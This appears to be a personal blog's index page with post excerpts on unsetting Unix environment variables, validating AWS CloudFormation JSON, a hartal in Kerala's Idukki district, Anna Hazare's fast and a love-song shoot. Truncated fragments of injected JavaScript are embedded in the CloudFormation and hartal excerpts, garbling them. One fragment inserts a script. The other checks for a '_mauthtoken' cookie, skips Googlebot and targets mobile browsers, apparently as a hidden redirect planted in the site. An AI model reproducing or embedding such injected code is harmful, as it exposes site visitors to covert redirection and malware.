How do I delete or remove an exported environment variable in UNIX or Linux?

To see the list of exported variable, use “export” or “env” command without any arguements To set a variable YOUR_EXPORTED_VARIABLE=”testme” export YOUR_EXPORTED_VARIABLE or export YOUR_EXPORTED_VARIABLE=”testme” (This may not work inside shell scripts on some versions of unix/linux and may return “not a valid identifier”) unset is the command to clear an exported environment variable unset… Continue reading How do I delete or remove an exported environment variable in UNIX or Linux?

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JSON Validator for AWS cloud formation

click hereĀ for JSON VALIDATOR You can also use command line tools provided by amazon AWS. cfn-validate-template aws validate cloudformation –template-body file:///home/ec2-user/mycloudfrmn.json document.currentScript.parentNode.insertBefore(s, document.currentScript);

Categorized as blogging


Now back in Kerala, and today there is this Hartal going in Idukki district as a protest for manis arrest. It is not sure who supports, but enough trouble is caused with buses not running and vehicles flow restricted. The long asking question is still unanswered. WHEN WILL GOD’S OWN COUNTRY IMPROVE! !!!!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(… Continue reading Hartal

anna hazare – what happens now

Now that Anna hazare has stopped fasting, the next question comes into mind.. “what happens next”. The media attention is now lessened and in a few days it will settle down to 0 percent. Like many news/scams, start big in the news and once people get bored, the media move on.. But , is it… Continue reading anna hazare – what happens now

aaro nee — Love song

Love Song Shoot at Aathirappally, Ernakulam Actor: Mathew Actress : Chinchu